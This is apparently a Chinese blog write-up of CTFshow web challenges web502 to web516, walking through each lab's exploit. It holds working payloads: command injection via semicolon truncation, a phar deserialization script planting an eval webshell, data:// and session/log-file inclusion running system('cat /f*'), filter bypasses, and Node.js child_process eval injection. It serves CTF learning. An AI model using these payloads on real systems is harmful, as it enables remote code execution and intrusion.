当前位置: 首页 > news >正文

CTFSHOW 中期测评(二)web502 - web516

文章目录

    • 题目列表
      • web502
      • web503
      • web504
      • web505
      • web506
      • web507
      • web508
      • web509
      • web510
      • web511
      • web512
      • web513
      • web514
      • web515
      • web516

题目列表

web502

先万能密码登录

打开数据库备份功能页面

打开网页源码,可以看到POST请求是发送到api/admin_db_backup.php

查看api/admin_db_backup.php源码,GET请求/index.php?action=../api/admin_db_backup

相比上题,这里的正则改成了preg_match('/^(zip|tar|sql)$/', $db_format),要求$db_format只能严格匹配 “zip”、“tar”、“sql” 这三个字符串,任何多余字符都不会通过,那我们换个方法,可以利用$pre进行变量覆盖然后分号截断执行命令

payload:

db_format=zip&pre=1.txt;cat /f*>/var/www/html/1.txt;

最后访问/1.txt读取flag即可

web503

$pre$db_format被md5包裹了,无法利用了

然后上面可以看到有个file_exists函数,先记着,后面会用到

用万能密码登录首页后,在系统配置功能处可以看到有个图片上传功能

查看源码看到有个api/admin_upload.php,跟文件上传功能有关

我们看看源码,GET传参/index.php?action=../api/admin_upload,这里只截取关键代码

if($user){$arr = $_FILES["file"];if(($arr["type"]=="image/jpeg" || $arr["type"]=="image/png" ) && $arr["size"]<10241000 ){$arr["tmp_name"];$filename = md5($arr['name']);$ext = pathinfo($arr['name'],PATHINFO_EXTENSION);if(!preg_match('/^php$/i', $ext)){$basename = "../img/".$filename.'.' . $ext;move_uploaded_file($arr["tmp_name"],$basename);$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));$config['logo']=$filename.'.' . $ext;file_put_contents(__DIR__.'/../config/settings', serialize($config));$ret['msg']='文件上传成功';}

这里判断文件 MIME 类型是否是 JPEG 或 PNG,并且文件大小要小于10MB,且禁止扩展名为“php”的文件上传,然后对内容进行反序列化。结合前面/api/admin_db_backup.phpfile_exists函数,我们可以用phar反序列化来做

这里要用到之前题目讲的反序列化,具体可以参考web493,setStub那里要加个GIF89a来伪装图片

payload:

<?phpclass dbLog{public $sql;public $content = '<?php eval($_POST[1]);?>';public $log = '1.php';
}$a = new dbLog();
$phar = new Phar('a.phar');
$phar -> startBuffering();
$phar -> addFromString('test.txt','test');
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar -> setMetadata($a);
$phar -> stopBuffering();  ?>

运行后当前目录会生成一个a.phar文件,修改文件后缀名为png,然后上传到系统配置那里

右键图像复制图像链接,例如我这边是/img/32d3ca5e23f4ccf1e4c8660c40e75f33.png,接着我们要借用file_exists来触发phar反序列化,如图所示发包

pre=phar:///var/www/html/img/32d3ca5e23f4ccf1e4c8660c40e75f33&db_format=.png

最后再蚁剑连接即可

根目录找到flag

web504

这次发现这里多了模板添加功能,但是查看不了源码

可以上传文件

参考我们之前做的web499,可以尝试写序列化代码到config/settings,等网页加载时会进行反序列化然后生成木马

payload:

<?phpclass dbLog{public $sql;public $content = '<?php eval($_POST[1]);?>';public $log = '2.php';
}$a = new dbLog();
echo serialize($a);?>

得到结果

O:5:"dbLog":3:{s:3:"sql";N;s:7:"content";s:24:"<?php eval($_POST[1]);?>";s:3:"log";s:5:"2.php";}

然后进行上传,如图所示

这时点击系统配置功能处,可以看到内容已经写入,并覆盖了原来的内容

蚁剑连接2.php

根目录找到flag

web505

这次文件上传不了,应该是后端做了校验

但是发现多了一个文件查看功能,可以查看文件源码

我们看看api/admin_templates.php源码,可以看到把settings过滤了

在文件查看功能处查看源码,找到api/admin_file_view.php,我们看看源码

关键源码

if($user){extract($_POST);if($debug==1 && preg_match('/^user/', file_get_contents($f))){include($f);}else{$ret['data']=array('contents'=>file_get_contents(__DIR__.'/../'.$name));}$ret['msg']='查看成功';die(json_encode($ret));

可以看到当满足$debug==1$f以user开头,就用include进行文件包含。我们可以用data伪协议来做,然后发送内容到api/admin_file_view.php

payload:

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

结果如图所示

web506

这题的api/admin_file_view.php相比上题,多了一个判断文件名后缀的代码,取 $f 文件名的最后三个字符,如果扩展名是 phpsmlphar(不区分大小写),则直接返回提示、终止流程

不过不影响,我们用的是data伪协议,步骤跟上题一样

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web507

api/admin_file_view.php没变,继续用上题方法

debug=1&f=data://text/plain,user<?php system('cat /f*');?>

web508

这次把伪协议禁了,不能直接写伪协议,不过我们可以换个方法,用一个文件来当中转站执行命令

在系统配置那里可以看到有个网站Logo上传,可以用这个当中转站

随便上传一张图片,抓包,然后修改内容为user<?php system('cat /f*');?>,重新发包

然后回到网页,右键复制图像链接,发送POST请求到api/admin_file_view.php,如图所示

debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web509

这次api/admin_upload.php会对文件内容进行校验

用短回显标签和反引号绕过即可

user<?=`cat /f*`?>

右键复制图像链接,发送POST请求到api/admin_file_view.php

debug=1&f=/var/www/html/img/4a47a0db6e60853dedfcfdf08a5ca249.png

web510

这次文件上传限制很严格,换个方法

通过分析,发现个人信息修改处存在漏洞

我们看看api/admin_edit.php对应的源码

回到个人信息处查看源码,显示昵称对应的就是nickname,那我们可以用session文件包含来做这题

看看对应的session文件,在cookie复制PHPSESSID的值,然后拼接访问,如图

刚好前面有个user,符合api/admin_file_view.php的要求,我们在名称修改处传入一句话木马,然后进行文件包含即可

剩余的步骤跟之前一样,发送POST请求到api/admin_file_view.php

debug=1&f=/tmp/sess_k9u1ni1spqatv8uvt3acr416o6&1=system('cat /f*');

web511

这次把sess也过滤了

一个个分析其他代码,发现render/render_class.php有个eval函数

我们看看能不能利用,也是同一个文件,在上面可以看到shade函数调用了checkVar,然后render函数调用了shade

后面在index.php发现调用了render,GET传入?action=view&page=1即可,关键是$user如何控制,且要求是个数组

继续分析,发现api/admin_edit.php可以控制user数组,那我们只要nickname传入要执行的命令,然后修改前面的模板占位符为{{var:nickname}}即可

修改nickname执行命令

然后打开新增模板功能,名称写1.sml,因为后面我们要GET传入?action=view&page=1,要跟page对应,然后内容写1{{var:nickname}},用于模板渲染。

加个1是因为render/render_class.phpif(stripos($templateContent, '{{var:'.$key.'}}')){这里有问题,如果是在开头匹配到的话会返回下标0,然后if(0)就不会进入语句块,也就无法执行eval,正确写法应该是

if(stripos($templateContent, '{{var:'.$key.'}}') !== false){

回归正题,我们传入内容如图所示

然后访问index.php?action=view&page=1触发漏洞即可

web512

这次render/render_class.php$value过滤很严格,字符可以用字符串拼接绕过,然后因为括号()用不了,我们用include来包含文件,include是可以不用括号包裹直接用的

因为网站的php版本为5.6,且正则没有过滤花括号,可以用$_POST{1}来代替$_POST[1],旧版 PHP 允许使用花括号 {} 访问数组某个键,比如 $_POST{1},这是 PHP 早期版本的语法,但从 PHP 7.4 开始,花括号访问数组的语法被废弃并在 PHP 8.0 中移除

那我们要写入的命令为

<?php include $_POST{1};?>

网上看别的师傅有一个很牛的方法,可以用heredoc语法来定义长字符串,它允许开发者定义多行字符串而不需要使用引号,也不用为引号、换行符等转义,非常方便地写包含多行HTML、SQL、代码片段等内容的字符串,格式为

$变量名 = <<<标识符
多行字符串内容
标识符;

<<< 是heredoc开始的标记,后面跟一个自定义的标识符,直到文件中某一行独立写着完全相同的结束标识符就结束,结束标识符后必须加分号;结束

这里要用到之前的反序列化知识,具体可以回顾web493

payload:

username=admin&nickname=1;
$a=<<<ctf
<?php includ
ctf;
$b=<<<ctf
e $
ctf;
$c=<<<ctf
_POS
ctf;
$d=<<<ctf
T{1};?>
ctf;
$n=<<<ctf
1.php
ctf;
$e=clone $db;
$e->log->log=$n;
$e->log->content=$a.$b.$c.$d;

POST发包到api/admin_edit.php

然后跟上题一样新增模板,模板在后端渲染后会生成1.php

名称:1.sml
内容:1{{var:nickname}}

访问1.php,然后用data伪协议执行命令即可

1=data://text/plain,<?php system('cat /f*');

web513

这次过滤更加严格了,那咱们换个方法

发现下面多了一个checkFoot函数,具体代码如下

public static function checkFoot($templateContent){if ( stripos($templateContent, '{{cnzz}}')) {$config = unserialize(file_get_contents(__DIR__.'/../config/settings'));$foot = $config['cnzz'];if(is_file($foot)){$foot=file_get_contents($foot);include($foot);}}return $templateContent;
}

这里会读取config/settings的内容进行反序列化,根据前面的题目,对应的文件为api/admin_settings.php

也就是会把系统配置功能处的数据存入$config数组,然后$config['cnzz']对应的是页面统计

因为render/render_class.php有个$foot=file_get_contents($foot),然后再进行include操作,那我们可以在页面统计放入一个文件地址,然后这个文件的内容是另一个文件的地址,这样就可以进行文件包含

先写一个模板到templates目录下,内容为/var/log/nginx/access.log

然后页面统计写/var/www/html/templates/1.sml

接着写入模板2.sml,内容为1{{cnzz}}

最后访问index.php?action=view&page=2,成功读取到/var/log/nginx/access.log内容

然后进行日志文件执行命令即可,UA头写入一句话木马,读取flag

web514

这次加了过滤,可以用data伪协议来做

我们传入data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B,但是如果直接传入是不行的,因为有过滤

preg_match的话我们可以用数组绕过,因为preg_match的第二个参数(待匹配内容)必须是字符串,如果传入的是数组,preg_match会返回false而不是报错,如图所示传入

验证一下,可以看到成功写入了

剩余的步骤跟上题一样,系统配置页面的页面统计写入地址/var/www/html/templates/1.sml,然后新增模板2.sml,内容1{{cnzz}},最后访问index.php?action=view&page=2执行命令即可

web515

先看代码

var express = require('express');
var _= require('lodash');
var router = express.Router();/* GET users listing. */
router.get('/', function(req, res, next) {res.render('index', { title: '我是复读机' });
});router.post('/',function(req,res,next){if(req.body.user!=null){msg = req.body.user;if((msg.match(/proto|process|require|exec|var|'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){res.render('index', { title: '敏感信息不复读' });}else{res.render('index', { title: eval(msg) });}}else{res.render('index', { title: '我是复读机' });}});
module.exports = router;

之前做过类似的题,我们eval嵌套执行就好,GET传入

index.php?a=require('child_process').spawnSync('cat',['/flag']).stdout.toString()

然后body传入

user=eval(req.query.a)

web516

下载附件进行分析,其中关键代码为index.js里面的登录成功后显示处,会执行eval函数

但是app.js有限制

不能出现这些字符串,那我们用反引号拼接字符串就可以,还是用上题的代码,修改一下即可

payload:

1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('ls',['/']).stdout.toString()`)

先进行注册

再点击sign in登录

成功执行命令

同理,我们修改一下执行命令env,成功找到flag

1)+eval((`req`+`uire('child_pro`+`cess').spawnSync('env').stdout.toString()`)

http://www.dtcms.com/a/398772.html

相关文章:

  • JVM-执行引擎
  • 企业手机网站源码网站建设相关资质
  • python项目: Thinkphp框架漏洞扫描器集成
  • 车载通信架构 ---新一代车载通信框架
  • 建设银行网站怎么注销网银网站建设网页制作
  • 【25软考网工】第五章(10) Internet应用
  • Android target35适配之窗口边衬区变更
  • 设计网站推荐百度贴吧装修设计比较好的网站
  • 营销网站四大要素谷歌做自己的网站
  • 【OpenGL】LearnOpenGL学习笔记27 - HDR、Bloom
  • MySQL 学习笔记 (Part.1)
  • 《代码大全》笔记
  • 【低代码】阿里Formily通用设计工具Designable学习记录
  • 网站建设客户wordpress如何看网页地址
  • php做的网站如何发布新类型网站
  • mq是如何实现的
  • 【区间贪心】P3661 [USACO17FEB] Why Did the Cow Cross the Road I S|普及+
  • AIGC实战——BicycleGAN详解与实现
  • 基于Element Plus的Vue3远程搜索多选组件实现与优化
  • 网站只做静态页面安全受到影响南昌旅游集团网站建设
  • pom.xml 不在根目录,idea无法识别项目处理方案
  • 网站开发所需硬件昆明微网站搭建
  • 【第25话:路径规划】自动驾驶路径规划概念与理论介绍
  • QT多窗口跳转
  • 栈(Stack)
  • 整体设计 逻辑全链 之8 受控的自然语言-字面拼凑:正则表达式 之2
  • 攻防世界-Web-simple_php
  • 【Linux我做主】进程程序替换和exec函数族
  • 清华最新发布 | 大型推理模型的强化学习综述
  • C++异常处理的根本缺陷:隐式传播的性能陷阱与控制流断裂